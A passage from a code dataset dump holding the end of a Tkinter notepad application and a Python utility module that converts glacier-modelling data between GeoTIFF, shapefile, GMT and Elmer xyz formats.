\n\t\ttry:\n\t\t\tself.__root.wm_iconbitmap(\"Notepad.ico\")\n\t\texcept:\n\t\t\tpass\n\n\t\t# set window size ( if any parameter passed )\n\t\ttry:\n\t\t\tself.__myWidth=kwargs['width']\n\t\texcept KeyError:\n\t\t\tpass\n\n\t\ttry:\n\t\t\tself.__myHeight=kwargs['height']\n\t\texcept KeyError:\n\t\t\tpass\n\n\t\t# set the window text \n\t\tself.__root.title(\"Untitled - MyNotes\")\n\n\t\t#center the window\n\t\tscreenWidth=self.__root.winfo_screenwidth()\n\t\tscreenHeight=self.__root.winfo_screenheight()\n\n\t\t# left align \n\t\tleft=(screenWidth/2)-(self.__myWidth/2)\n\t\ttop=(screenHeight/2)-(self.__myHeight/2)\n\n\t\t# for top and bottom\n\t\tself.__root.geometry('%dx%d+%d+%d'%(self.__myWidth,self.__myHeight,left,top))\n\n\t\t# make text area auto resizable\n\t\tself.__root.grid_rowconfigure(0,weight=1)\n\t\tself.__root.grid_columnconfigure(0,weight=1)\n\n\t\t# add Controls \n\t\tself.__textArea.grid(sticky=N+E+S+W)\n\n\t\t# to open new file \n\t\tself.__fileMenu.add_command(label=\"New File\", command=self.__newFile)\n\n\t\t# to open existing file \n\t\tself.__fileMenu.add_command(label=\"Open File\", command=self.__openFile)\n\n\t\t# to save current file\n\t\tself.__fileMenu.add_command(label=\"Save\", command=self.__saveFile)\n\n\t\t# add a seperator in menu \n\t\tself.__fileMenu.add_separator()\n\n\t\t# add exit option\n\t\tself.__fileMenu.add_command(label=\"Exit\", command=self.__quitApplication)\n\t\tself.__menuBar.add_cascade(label=\"File\",menu=self.__fileMenu)\n\n\t\t# cut option\n\n\t\tself.__editMenu.add_command(label=\"Cut\", command=self.__cut)\n\t\tself.__editMenu.add_command(label=\"Copy\", command=self.__copy)\n\t\t# paste option \n\t\tself.__editMenu.add_command(label=\"Paste\", command=self.__paste)\n\n\t\t# add it to menubar\n\t\tself.__menuBar.add_cascade(label=\"Edit\", menu=self.__editMenu)\n\n\t\t# create help menu\n\t\tself.__helpMenu.add_command(label=\"About MyNotes\",command=self.__showAbout)\n\t\tself.__menuBar.add_cascade(label=\"Help\", menu=self.__helpMenu)\n\n\t\tself.__root.config(menu=self.__menuBar)\n\n\t\tself.__scroll.pack(side=RIGHT, fill=Y)\n\n\t\tself.__scroll.config(command=self.__textArea.yview)\n\n\t\tself.__textArea.config(yscrollcommand=self.__scroll.set)\n\n\tdef run(self):\n\t\tself.__root.mainloop()\n\n\tdef __quitApplication(self):\n\t\tself.__root.destroy()\n\n\tdef __showAbout(self):\n\t\tshowinfo(\"My Notes \", \"Developed by Aman Kumar Pandey using Python and Tkinter library.\\n This uses os module to interact with file system.\")\n\n\tdef __openFile(self):\n\t\tself.__file=askopenfilename(defaultextension=\".txt\",filetypes=[(\"All Files\",\"*.*\"),(\"Text Documents\",\"*.txt\")])\n\t\tif self.__file==\"\":\n\t\t\tself.__file=None\n\t\telse:\n\t\t\tself.__root.title(os.path.basename(self.__file)+\" - My Notes\")\n\t\t\tself.__textArea.delete(1.0,END)\n\t\t\tfile=open(self.__file,\"r\")\n\t\t\tself.__textArea.insert(1.0,file.read())\n\t\t\tfile.close()\n\n\tdef __newFile(self):\n\t\tself.__root.title(\"Untitled - My Notes\")\n\t\tself.__file=None\n\t\tself.__textArea.delete(1.0,END)\n\n\tdef __saveFile(self):\n\t\tif self.__file==None:\n\t\t\tself.__file=asksaveasfilename(initialfile=\"Untitled.txt\",defaultextension=\".txt\",filetypes=[(\"All Files\",\"*.*\"),(\"Text Documents\",\"*.txt\")])\n\t\t\tif self.__file==\"\":\n\t\t\t\tself.__file=None\n\t\t\telse:\n\t\t\t\tfile=open(self.__file,\"w\")\n\t\t\t\tfile.write(self.__textArea.get(1.0,END))\n\t\t\t\tfile.close()\n\t\t\t\tself.__root.title(os.path.basename(self.__file)+\" - My Notes\")\n\n\t\telse:\n\t\t\tfile=open(self.__file,\"w\")\n\t\t\tfile.write(self.__textArea.get(1.0,END))\n\t\t\tfile.close()\n\n\tdef __cut(self):\n\t\tself.__textArea.event_generate(\"<>\")\n\tdef __copy(self):\n\t\tself.__textArea.event_generate(\"<>\")\n\tdef __paste(self):\n\t\tself.__textArea.event_generate(\"<>\")\n\n\nif __name__ == '__main__':\n\tnotepad=MyNotes(width=600,height=400)\n\tnotepad.run()\n","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":4080,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"14"} +{"seq_id":"621308269","text":"#! /usr/bin/env python3\n# -*- coding: utf-8 -*-\n# vim:fenc=utf-8\n#\n# Copyright © 2014 dlilien \n#\n# Distributed under terms of the MIT license.\n\n\"\"\"\nSome routines for use with matrices and geotiffs, oriented for use with elmer and qgis\n\"\"\"\nimport gdal\nimport osr\nimport numpy as np\nimport os\nfrom .elmerlib import get_da_vars, get_bt_vars\nimport struct\nimport shapefile\n\n\ndef dat2gtif(dat_fn, t_srs='sps', gtif_fn=None, lines=True, threed=True, reg='davg', cd=3700):\n if gtif_fn is None:\n direc, fn = os.path.split(dat_fn)\n gtif_fn = direc + '/' + os.path.splitext(fn)[0] + '.tif'\n mat2gtif(\n gtif_fn, *dat2mat(dat_fn, lines=lines, threed=threed, reg=reg, cd=cd), t_srs=t_srs)\n\n\ndef dat2mat(fn, lines=True, threed=True, reg='davg', cd=3700):\n if not os.path.exists(fn):\n print('Could not find file ' + fn)\n return None\n try:\n f = open(fn)\n if lines:\n f.readline()\n mat = f.readlines()\n data = np.empty(len(mat), dtype=[\n ('Node Number', int), ('x', float), ('y', float), ('z', float), ('dat', float)])\n f.close()\n for i, line in enumerate(mat):\n data[i] = tuple(map(float, line.split()))\n except:\n print('Could not successfully read dat file ' + fn)\n return None\n mat = None\n data = np.sort(data, order=['x', 'y', 'z'])\n if threed:\n if reg == 'davg':\n data = get_da_vars(data)\n elif reg == 'top':\n data = get_bt_vars(data, bottom=False)\n elif reg == 'bottom':\n data = get_bt_vars(data)\n else:\n print('Region to return not understood. Try again with davg, top, or bottom')\n return None\n mat = sparse2mat([data['x'], data['y'], data['dat']], cutoff_dist=cd)\n return mat\n\n\ndef dict2gmt_pts(out_fn, dictionary, size=None, value=None, binary=False, coords='coords', size_scale=1.0, shps=None):\n \"\"\"Convert a dictionary to a GMT-Readable ASCII (or binary) file.\n\n Parameters\n ----------\n out_fn: str\n The output filename\n dictionary: dict\n Dictionary with 'coords' attribute\n size: str, optional\n Key for column of dictionary containing the values you want for point sizes in GMT. Default None.\n value: str, optional\n Key for column of dictionary containing values for color mapping in GMT. Default None.\n binary: bool, optional\n Write to a binary rather than ASCII output. Default False.\n \"\"\"\n if binary and shps is not None:\n raise ValueError('GMT does not support symbols with binary output')\n\n if coords not in dictionary:\n if 'x' in dictionary and 'y' in dictionary:\n dictionary['coords'] = np.vstack(dictionary['x'], dictionary['y'])\n coords = 'coords'\n else:\n raise AttributeError(\n 'Coords not found, or your dictionary must have attribute coords or x and y')\n\n out_cols = [dictionary[coords][:, 0], dictionary[coords][:, 1]]\n\n try:\n if size is not None:\n sizes = [np.array(dictionary[size]) * size_scale]\n else:\n sizes = []\n\n if value is not None:\n values = [dictionary[value]]\n else:\n values = []\n add_these = values + sizes\n\n if shps is not None:\n shpss = [dictionary[shps]]\n else:\n shpss = []\n\n except AttributeError:\n raise AttributeError(\n 'Your size or value is not in the dictionary supplied')\n\n out_cols += add_these\n if binary:\n out_format = 'd' * len(out_cols)\n else:\n out_format = ('{:f} ' * len(out_cols)).rstrip(' ') + '\\n'\n if shps is not None:\n out_format = '{:f} ' * len(out_cols) + '{:s}\\n'\n out_cols += shpss\n\n if not binary:\n mode = 'w'\n else:\n mode = 'wb'\n\n with open(out_fn, mode=mode) as f:\n if binary:\n for val in zip(*out_cols):\n f.write(struct.pack(out_format, *val))\n else:\n for val in zip(*out_cols):\n f.write(out_format.format(*val))\n\n\ndef dict2shp(out_fn, dictionary, shptype='pts', **kwargs):\n if shptype == 'pts':\n return dict2shp_pts(out_fn, dictionary, **kwargs)\n elif shptype == 'line':\n return dict2shp_lines(out_fn, dictionary, **kwargs)\n else:\n raise ValueError('Invalid shape type')\n\n\ndef dict2shp_lines(out_fn, dictionary):\n \"\"\"Each value in the dictionary should be a list or array, except for the one for coords, which should be a list of lists\"\"\"\n if 'coords' not in dictionary:\n raise AttributeError('Need coordinates')\n sf = shapefile.Writer(shapefile.POLYLINE)\n for key, value in list(dictionary.items()):\n if key != 'coords':\n if type(value) == np.ndarray:\n if dictionary[key].dtype in ['float64', 'float32', 'float', float]:\n typename = 'F'\n elif dictionary[key].dtype in ['int16', 'int32', 'int', int]:\n typename = 'N'\n else:\n typename = 'C'\n else:\n typename = 'C'\n sf.field(key, fieldType=typename)\n\n for i, line in enumerate(dictionary['coords']):\n sf.line(parts=[line])\n sf.record(\n **{key: value[i] for key, value in list(dictionary.items()) if not key == 'coords'})\n\n sf.save(out_fn)\n\n\ndef dict2shp_pts(out_fn, dictionary):\n if 'coords' not in dictionary:\n if 'x' in dictionary and 'y' in dictionary:\n dictionary['coords'] = np.vstack(dictionary['x'], dictionary['y'])\n else:\n raise AttributeError(\n 'dictionary must have attribute coords or x and y')\n\n if np.array(dictionary['coords']).shape[1] == 3 and 'z' not in dictionary:\n dictionary['z'] = np.array(dictionary['coords'])[:, 2]\n sf = shapefile.Writer(shapefile.POINT)\n\n # Need bins for each field, and we want them to be of the correct data type\n # I assume that if data is given as a list then it is a string\n for key, value in list(dictionary.items()):\n if key != 'coords':\n if type(value) == np.ndarray:\n if dictionary[key].dtype in ['float64', 'float32', 'float', float]:\n typename = 'F'\n elif dictionary[key].dtype in ['int16', 'int32', 'int', int]:\n typename = 'N'\n else:\n typename = 'C'\n else:\n typename = 'C'\n sf.field(key, fieldType=typename)\n\n for i, point in enumerate(dictionary['coords']):\n sf.point(*point)\n sf.record(\n **{key: value[i] for key, value in list(dictionary.items()) if not key == 'coords'})\n\n sf.save(out_fn)\n\n\ndef gtif2gridIn(dst, out_fn, zeroval=np.nan):\n X, Y, z = gtif2mat(dst)\n mat2gridIn(out_fn, X, Y, z, zeroval)\n\n\ndef gtif2gridIn_fn(in_fn, out_fn, zeroval=np.nan):\n dst = gdal.Open(in_fn)\n gtif2gridIn(dst, out_fn, zeroval)\n\n\ndef gtif2mat(dst, ndv=None, dtype=np.float64):\n \"\"\"Turn a geotiff object into matrices, ignore projection hoopla\n\n Parameters\n ----------\n dst: gdaldataset\n The gdal dataset to be read\n ndv: float, optional\n Take all these values from the input and replace them with nans. Default None.\n\n \"\"\"\n z = np.array(dst.GetRasterBand(1).ReadAsArray(), dtype=dtype)\n if ndv is not None:\n z[z == ndv] = np.nan\n len_y, len_x = z.shape\n dst_gt = dst.GetGeoTransform()\n x0 = dst_gt[0]\n y0 = dst_gt[3]\n xM = dst_gt[1] * len_x + x0\n yM = dst_gt[5] * len_y + y0\n X = np.linspace(x0, xM, len_x)\n Y = np.linspace(y0, yM, len_y)\n return X, Y, z\n\n\ndef gtif2mat_fn(fn, ndv=None, dtype=np.float64):\n \"\"\"Turn a geotiff file into matrices, ignore projection hoopla\n\n Parameters\n ----------\n fn: string\n The filename to be read\n ndv: float, optional\n Take all these values from the input and replace them with nans. Default None.\n \"\"\"\n dst = gdal.Open(fn)\n X, Y, z = gtif2mat(dst, ndv=ndv, dtype=dtype)\n return X, Y, z\n\n\ndef gtif2mshdem(dst, out_fn, ndv=np.nan):\n \"\"\"Turn a gtiff object into a form that is easy to use with user functions with Elmer\n\n Parameters\n ----------\n intit : bool, optional\n Coerce coordinates to integers. Default True.\n \"\"\"\n X, Y, z = gtif2mat(dst)\n z[z == ndv] = -9999.0\n with open(out_fn, 'w') as f:\n for j in range(0, len(Y)):\n for i in range(0, len(X)):\n if np.isnan(z[-j - 1, i]):\n f.write('%9.5f %9.5f %9.5f\\n' % (X[i], Y[-j - 1], -2.0e9))\n else:\n f.write('%9.5f %9.5f %9.5f\\n' %\n (X[i], Y[-j - 1], z[-j - 1, i]))\n\n out_info_fn = os.path.splitext(out_fn)[0] + '_info.dat'\n with open(out_info_fn, 'w') as f:\n f.write('! Filename\\n')\n f.write('\"' + os.path.abspath(out_fn) + '\"\\n')\n f.write('! Nx, Ny\\n')\n f.write('%d %d\\n' % (len(X), len(Y)))\n f.write('! x0, y0\\n')\n f.write('%f %f\\n' % (min(X), min(Y)))\n f.write('! lx, ly\\n')\n f.write('%f %f\\n' % (abs(X[0] - X[-1]), abs(Y[0] - Y[-1])))\n\n\ndef gtif2mshdem_fn(in_fn, out_fn, ndv=np.nan):\n \"\"\"Turn a gtiff file into a form that is easy to use with user functions with Elmer\n Parameters\n ----------\n intit : bool, optional\n Coerce coordinates to integers. Default True.\n \"\"\"\n dst = gdal.Open(in_fn)\n gtif2mshdem(dst, out_fn, ndv=ndv)\n\n\ndef gtif2xyuv_fn(u_fn, v_fn, out_fn, ndv=np.nan):\n X, Y, u = gtif2mat(gdal.Open(u_fn))\n X, Y, v = gtif2mat(gdal.Open(v_fn))\n u[u == ndv] = np.nan\n v[v == ndv] = np.nan\n with open(out_fn, 'w') as f:\n for j, y in enumerate(Y):\n for i, x in enumerate(X):\n if not np.isnan(u[j, i]):\n f.write('{:f} {:f} {:f} {:f}\\n'.format(\n x, y, u[j, i], v[j, i]))\n\n\ndef gtif2xyz_new(dst, fn, intit=True):\n \"\"\"Turn a gtiff object into a form that is easy to use with user functions with Elmer\n\n Parameters\n ----------\n intit : bool, optional\n Coerce coordinates to integers. Default True.\n \"\"\"\n X, Y, z = gtif2mat(dst)\n mat2xyz_new(fn, X, Y, z, intit=intit)\n\n\ndef gtif2xyz(dst, fn):\n \"\"\"Turn a gtiff object into a form that is easy to use with user functions with Elmer\"\"\"\n X, Y, z = gtif2mat(dst)\n mat2xyz(fn, X, Y, z)\n\n\ndef gtif2xyz_fn_new(in_fn, out_fn, intit=True):\n \"\"\"Turn a gtiff file into a form that is easy to use with user functions with Elmer\n Parameters\n ----------\n intit : bool, optional\n Coerce coordinates to integers. Default True.\n \"\"\"\n dst = gdal.Open(in_fn)\n gtif2xyz_new(dst, out_fn, intit=intit)\n\n\ndef gtif2xyz_fn(in_fn, out_fn):\n \"\"\"Turn a gtiff file into a form that is easy to use with user functions with Elmer\"\"\"\n dst = gdal.Open(in_fn)\n gtif2xyz(dst, out_fn)\n\n\ndef gtif2xyz_and_gridIn(dst, out_fn, out_grid_fn, zeroval=np.nan):\n X, Y, z = gtif2mat(dst)\n mat2xyz(out_fn, X, Y, z)\n mat2gridIn(out_grid_fn, X, Y, z, zeroval)\n\n\ndef gtif2xyz_and_gridIn_fn(in_fn, out_fn, out_grid_fn, zeroval=np.nan):\n dst = gdal.Open(in_fn)\n gtif2xyz_and_gridIn(dst, out_fn, out_grid_fn, zeroval)\n\n\ndef mat2gtif(fn, x, y, z, t_srs='sps', ndv=None):\n \"\"\"Simple matrix to geotiff conversion\"\"\"\n format = \"GTiff\"\n driver = gdal.GetDriverByName(format)\n dst_ds = driver.Create(fn, len(x), len(y), 1, gdal.GDT_Float32)\n srs = osr.SpatialReference()\n if t_srs == 'sps':\n srs.ImportFromProj4(\n '+proj=stere +lat_0=-90 +lat_ts=-71 +lon_0=0 +k=1 +x_0=0 +y_0=0 +ellps=WGS84 +datum=WGS84 +units=m +no_defs')\n # srs.ImportFromEPSG(3031)\n # srs.SetProjection('Polar_Stereographic')\n elif t_srs == 'nps_km':\n srs.ImportFromProj4(\n '+proj=stere +lat_0=90 +lat_ts=70 +lon_0=-45 +k=1 +x_0=0 +y_0=0 +ellps=WGS84 +datum=WGS84 +units=km +no_defs')\n elif t_srs == 'nps_m':\n srs.ImportFromProj4(\n '+proj=stere +lat_0=90 +lat_ts=70 +lon_0=-45 +k=1 +x_0=0 +y_0=0 +ellps=WGS84 +datum=WGS84 +units=m +no_defs')\n elif t_srs == 'll' or t_srs == 'wgs84':\n srs.SetWellKnownGeogCS('WGS84')\n else:\n print('Unrecognized coordinate reference system, defaulting to EPSG 3031')\n srs.ImportFromProj4(\n '+proj=stere +lat_0=-90 +lat_ts=-71 +lon_0=0 +k=1 +x_0=0 +y_0=0 +ellps=WGS84 +datum=WGS84 +units=m +no_defs')\n dst_ds.SetProjection(srs.ExportToWkt())\n dst_ds.GetRasterBand(1).WriteArray(z)\n\n if ndv is not None:\n dst_ds.GetRasterBand(1).SetNoDataValue(ndv)\n\n dst_ds.SetGeoTransform(\n [min(x), (max(x) - min(x)) / len(x), 0, y[0], 0, (y[-1] - y[0]) / len(y)])\n\n\ndef mat2gtif_limits(fn, lowerleft, upperright, z, t_srs='sps'):\n \"\"\"Simple matrix to geotiff conversion\"\"\"\n format = \"GTiff\"\n driver = gdal.GetDriverByName(format)\n dst_ds = driver.Create(fn, z.shape[1], z.shape[0], 1, gdal.GDT_Float32)\n dst_ds.GetRasterBand(1).WriteArray(z)\n srs = osr.SpatialReference()\n if t_srs == 'sps':\n srs.ImportFromProj4(\n '+proj=stere +lat_0=-90 +lat_ts=-71 +lon_0=0 +k=1 +x_0=0 +y_0=0 +ellps=WGS84 +datum=WGS84 +units=m +no_defs')\n elif t_srs == 'll':\n srs.SetWellKnownGeogCS('WGS84')\n else:\n print('Unrecognized coordinate reference system, defaulting to EPSG 3031')\n srs.ImportFromProj4(\n '+proj=stere +lat_0=-90 +lat_ts=-71 +lon_0=0 +k=1 +x_0=0 +y_0=0 +ellps=WGS84 +datum=WGS84 +units=m +no_defs')\n dst_ds.SetProjection(srs.ExportToWkt())\n dst_ds.SetGeoTransform([lowerleft[0], (upperright[0] - lowerleft[0]) / z.shape[\n 0], 0, upperright[1], 0, (upperright[1] - lowerleft[1]) / z.shape[1]])\n\n\ndef mat2gridIn(fn, X, Y, z, zeroval=np.nan):\n \"\"\"Put a matrix into a form usable by ElmerGrid\"\"\"\n with open(fn, 'w') as f:\n if np.isnan(zeroval):\n print(\"Writing File for ElmerGrid\\nIgnoring NaN Points\")\n for i in range(0, len(X)):\n for j in range(0, len(Y)):\n if not np.isnan(z[-j - 1, i]):\n f.write('%9.1f %9.1f %9.5f\\n' %\n (X[i], Y[-j - 1], z[-j - 1, i]))\n else:\n print(\"Writing File for ElmerGrid\\n Ignoring points with value %f\" % zeroval)\n for i in range(0, len(X)):\n for j in range(0, len(Y)):\n if not (z[-j - 1, i] == zeroval):\n f.write('%9.1f %9.1f %9.5f\\n' %\n (X[i], Y[-j - 1], z[-j - 1, i]))\n\n\ndef mat2xyz(fn, X, Y, z):\n \"\"\"Write a matrix in a form that is easy to use with user functions with Elmer\"\"\"\n with open(fn, 'w') as f:\n f.write('%d\\n%d\\n' % (len(X), len(Y)))\n for i in range(0, len(X)):\n for j in range(0, len(Y)):\n if np.isnan(z[-j - 1, i]):\n f.write('%9.1f %9.1f %9.5f\\n' % (X[i], Y[-j - 1], -2.0e9))\n else:\n f.write('%9.1f %9.1f %9.5f\\n' %\n (X[i], Y[-j - 1], z[-j - 1, i]))\n\n\ndef mat2xyz_new(fn, X, Y, z, intit=True):\n \"\"\"Write a matrix in a form that is easy to use with user functions with Elmer\"\"\"\n if intit:\n X = list(map(int, X))\n Y = list(map(int, Y))\n with open(fn, 'w') as f:\n f.write('%d\\n%d\\n' % (len(X), len(Y)))\n for j in range(0, len(Y)):\n for i in range(0, len(X)):\n if np.isnan(z[-j - 1, i]):\n f.write('%9.1f %9.1f %9.5f\\n' % (X[i], Y[-j - 1], -2.0e9))\n else:\n f.write('%9.1f %9.1f %9.5f\\n' %\n (X[i], Y[-j - 1], z[-j - 1, i]))\n\n\ndef shp2dict(in_file, coords=True):\n \"\"\"Turn an input shapefile into a dictionary.\n\n The dictionary has an entry for each field.\n\n Parameters\n ----------\n in_file : str\n The base name of the input file\n coords : bool, optional\n If true, try to combine x and y (and z) fields to form a coodinate vector. If this fails, no error is thrown but a warning prints.\n \"\"\"\n sf = shapefile.Reader(in_file)\n # If we have points, there is a record per point, if we have lines there\n # is a record per line\n\n if sf.shapeType == 1:\n # this is a point shapefile\n field_names = ['x', 'y'] + [f[0] for f in sf.fields[1:]]\n for i, f in enumerate(field_names[2:]):\n if f in ['x', 'y']:\n field_names[2 + i] = f + '_native'\n\n field_types = ['N', 'N'] + [f[1] for f in sf.fields[1:]]\n num_fields = len(field_types) - 2\n for i, field in enumerate(field_types):\n if field == 'N':\n field_types[i] = int\n elif field == 'F':\n field_types[i] = float\n else:\n field_types[i] = (str, 32)\n\n fields = [np.empty(sf.numRecords, dtype=field) if (field == float or field == int) else [\n 'i' for i in range(sf.numRecords)] for field in field_types]\n points = []\n for shape in sf.shapes():\n points += shape.points\n for i, (point, rec) in enumerate(zip(points, sf.records())):\n fields[0][i] = point[0]\n fields[1][i] = point[1]\n for j in range(num_fields):\n fields[j + 2][i] = rec[j]\n\n warned = False\n for i, field in enumerate(fields):\n try:\n fields[i] = np.array(list(map(float, field)))\n except ValueError:\n if not warned:\n print('Some fields had to be left as strings')\n warned = True\n\n if coords:\n if 'x' in field_names and 'y' in field_names:\n x_ind = field_names.index('x')\n y_ind = field_names.index('y')\n field_names.append('coords')\n if 'z' not in field_names:\n fields.append(np.c_[fields[x_ind], fields[y_ind]])\n else:\n z_ind = field_names.index('z')\n fields.append(\n np.c_[fields[x_ind], fields[y_ind], fields[z_ind]])\n else:\n print('Cannot find x and y coordinates, returning originial input')\n return {name: field for name, field in zip(field_names, fields) if (name is not 'x' and name is not 'y' and name is not 'z')}, 1\n return {name: field for name, field in zip(field_names, fields)}, 1\n\n elif sf.shapeType == 3:\n # This is a line shapefile\n field_names = [f[0] for f in sf.fields[1:]]\n field_types = [f[1] for f in sf.fields[1:]]\n\n # Convert to python type names\n for i, field in enumerate(field_types):\n if field == 'N':\n field_types[i] = int\n elif field == 'F':\n field_types[i] = float\n else:\n field_types[i] = (str, 32)\n\n returns = {name: np.empty(sf.numRecords, dtype=field_types[i]) for i, name in enumerate(field_names)}\n for i, record in enumerate(sf.records()):\n for j, name in enumerate(field_names):\n try:\n returns[name][i] = record[j]\n except TypeError:\n returns[name][i] = -9999\n returns['coords'] = [np.array(shape.points) for shape in sf.shapes()]\n return returns, 2\n\n else:\n raise TypeError(\n 'I cannot handle shapefiles that are not points or lines')\n\n\ndef shp2xy(in_file):\n \"\"\"Unintelligent extraction of 2d shapefile data\"\"\"\n sf = shapefile.Reader(in_file)\n rec = sf.records()\n n = len(rec)\n exterior = np.empty([n, 2])\n for i in range(0, n):\n exterior[i, 0] = rec[i][1]\n exterior[i, 1] = rec[i][2]\n return exterior\n\n\ndef shp2xyz(in_file):\n \"\"\"Unintelligent extraction of 3d shapefile data\"\"\"\n sf = shapefile.Reader(in_file)\n rec = sf.records()\n n = len(rec)\n exterior = np.empty([n, 3])\n for i in range(0, n):\n exterior[i, 0] = rec[i][0]\n exterior[i, 1] = rec[i][1]\n exterior[i, 2] = rec[i][2]\n return exterior\n\n\ndef sparse2gtif(fn, data, t_srs='sps', x_steps=500, y_steps=500, cutoff_dist=2000.0):\n mats = sparse2mat(\n data, x_steps=x_steps, y_steps=y_steps, cutoff_dist=cutoff_dist)\n mat2gtif(fn, mats[0], mats[1][::-1], mats[2][::-1, :], t_srs=t_srs)\n\n\ndef sparse2mat(data, x_steps=500, y_steps=500, cutoff_dist=2000.0):\n \"\"\"Grid up some sparse, concave data\"\"\"\n from scipy.spatial import cKDTree as KDTree\n from scipy.interpolate import griddata\n tx = np.arange(min(data[0]), max(data[0]), x_steps)\n ty = np.arange(min(data[1]), max(data[1]), y_steps)\n XI, YI = np.meshgrid(tx, ty)\n ZI = griddata(np.c_[data[0], data[1]], data[2], (XI, YI), method='linear')\n tree = KDTree(np.c_[data[0], data[1]])\n dist, _ = tree.query(np.c_[XI.ravel(), YI.ravel()], k=1)\n dist = dist.reshape(XI.shape)\n ZI[dist > cutoff_dist] = np.nan\n return [tx, ty, ZI]\n\n\ndef sparse2xyz(fn, data, x_steps=500, y_steps=500, cutoff_dist=2000.0):\n \"\"\"Grid data, write to xyz fn\"\"\"\n mats = sparse2mat(\n data, x_steps=x_steps, y_steps=y_steps, cutoff_dist=cutoff_dist)\n print('Writing file ', fn)\n mat2xyz(fn, mats[0], mats[1][::-1], mats[2][::-1, :])\n\n\ndef sparse2xyz_and_tif(fn_xyz, data, t_srs='sps', fn_tif=None, x_steps=500, y_steps=500, cutoff_dist=2000.0):\n \"\"\"Grid data, write to a tif and to an xyz file\"\"\"\n if fn_tif is None:\n fn, ext = os.path.splitext(fn_xyz)\n fn_tif = fn + '.tif'\n mats = sparse2mat(\n data, x_steps=x_steps, y_steps=y_steps, cutoff_dist=cutoff_dist)\n print('Writing file ', fn_xyz)\n mat2xyz(fn_xyz, mats[0], mats[1][::-1], mats[2][::-1, :])\n print('Writing file', fn_tif)\n mat2gtif(fn_tif, mats[0], mats[1][::-1], mats[2][::-1, :], t_srs=t_srs)\n\n\ndef vel2gtif(filename, t_srs='sps', out_fn_base=None, errors=False):\n \"\"\" Convert Ian's velocity files to geotiffs\n\n Parameters\n ----------\n Filename : str\n The base filename, without the .vx etc.\n t_srs : str, optional\n The target projection. sps, nps, ll for now. Default is sps.\n out_fn_base : str, optional\n Specify a base filename for the outputs. If None, use the input.\n errors : bool, optional\n Make tiffs of the errors as well. Default is false.\n \"\"\"\n\n # deal with filenames\n if out_fn_base is None:\n out_fn_base = filename\n\n # Get the data about the grid from the .geodat file\n xgeo = readgeodat(filename + \".vx.geodat\")\n (nx, ny) = (int(xgeo[0, 0]), int(xgeo[0, 1]))\n (dx, dy) = (xgeo[1, 0], xgeo[1, 1])\n (xo, yo) = (xgeo[2, 0], xgeo[2, 1])\n\n x = np.zeros(nx)\n for i in range(nx):\n x[i] = xo + i * dx\n y = np.zeros(ny)\n for i in range(ny):\n y[i] = yo + i * dy\n\n # Open the x-velocity file and read in all the binary data\n vxfile = open(filename + \".vx\", \"rb\")\n vx_raw_data = vxfile.read()\n vxfile.close()\n\n # Unpack that binary data to an array of floats, knowing that it is\n # in big-endian format. Why? God only knows.\n nvals = len(vx_raw_data) // 4\n arr = np.zeros(nvals)\n for i in range(nvals):\n arr[i] = struct.unpack('>f', vx_raw_data[4 * i:4 * (i + 1)])[0]\n\n # Fairly certain that this is right, but plot it and compare against\n # matlab to be certain\n vx = arr.reshape((ny, nx))\n\n # Go through the same rigmarole for the y-velocity file\n vyfile = open(filename + \".vy\", \"rb\")\n vy_raw_data = vyfile.read()\n vyfile.close()\n arr = np.zeros(nvals)\n for i in range(nvals):\n arr[i] = struct.unpack('>f', vy_raw_data[4 * i:4 * (i + 1)])[0]\n vy = arr.reshape((ny, nx))\n\n if errors:\n # Do the same thing for the files containing the errors\n # if wanted\n exfile = open(filename + \".ex\", \"rb\")\n ex_raw_data = exfile.read()\n exfile.close()\n arr = np.zeros(nvals)\n for i in range(nvals):\n arr[i] = struct.unpack('>f', ex_raw_data[4 * i:4 * (i + 1)])[0]\n ex = arr.reshape((ny, nx))\n\n eyfile = open(filename + \".ey\", \"rb\")\n ey_raw_data = eyfile.read()\n eyfile.close()\n arr = np.zeros(nvals)\n for i in range(nvals):\n arr[i] = struct.unpack('>f', ey_raw_data[4 * i:4 * (i + 1)])[0]\n ey = arr.reshape((ny, nx))\n\n ex[ex == -2e+9] = np.nan\n ey[ey == -2e+9] = np.nan\n\n mat2gtif(out_fn_base + '_rms_err.tif', x, y,\n np.sqrt(ex * ex + ey * ey), t_srs=t_srs)\n mat2gtif(out_fn_base + '_x_err_vel.tif', x, y, ex, t_srs=t_srs)\n mat2gtif(out_fn_base + '_y_err_vel.tif', x, y, ey, t_srs=t_srs)\n\n vx[vx == -2e+9] = np.nan\n vy[vy == -2e+9] = np.nan\n mat2gtif(out_fn_base + '_rms.tif', x, y,\n np.sqrt(vx * vx + vy * vy), t_srs=t_srs)\n mat2gtif(out_fn_base + '_x_vel.tif', x, y, vx, t_srs=t_srs)\n mat2gtif(out_fn_base + '_y_vel.tif', x, y, vy, t_srs=t_srs)\n\n\ndef write2qgis(filename, data, xllcorner, yllcorner, dx, no_data):\n \"\"\"Not sure if this is still used by anything...delete?\"\"\"\n fid = open(filename, 'w')\n (ny, nx) = np.shape(data)\n\n fid.write('ncols {0}\\n'.format(nx))\n fid.write('nrows {0}\\n'.format(ny))\n fid.write('xllcorner {0}\\n'.format(xllcorner))\n fid.write('yllcorner {0}\\n'.format(yllcorner))\n fid.write('cellsize {0}\\n'.format(dx))\n fid.write('NODATA_value {0}\\n'.format(no_data))\n\n for i in range(ny - 1, -1, -1):\n for j in range(nx):\n fid.write('{0} '.format(data[i, j]))\n fid.write('\\n')\n\n fid.close()\n\n\ndef xyz2mat(fn, ndv=-2.0e9):\n \"\"\"Turn an xyz type file back into a matrix, with no data value = ndv\"\"\"\n with open(fn, 'r') as f:\n nx = int(f.readline())\n ny = int(f.readline())\n z = np.zeros([ny, nx])\n y = np.zeros(ny)\n x = np.zeros(nx)\n for i in range(0, nx):\n for j in range(0, ny):\n line = f.readline().split(' ')\n x[i] = float(line[0])\n y[-j - 1] = float(line[1])\n z[-j - 1, i] = float(line[2])\n z[z == ndv] = np.nan\n return x, y, z\n\n\ndef xy2shp(rec, out_file):\n \"\"\"Convert points to a line shapefile\"\"\"\n sf = shapefile.Writer()\n sf.line(parts=rec)\n sf.field('FIRST_FLD')\n sf.record('test', 'Line')\n sf.save(out_file)\n\n\ndef xy2shp_pts(rec, out_file, field_names=None, fields=None, field_types=None):\n \"\"\"Convert points to a points shapefile\"\"\"\n sf = shapefile.Writer(shapefile.POINT)\n if fields is None:\n sf.field('fld')\n else:\n if field_types is None:\n for field_name in field_names:\n sf.field(field_name)\n else:\n for field_name, 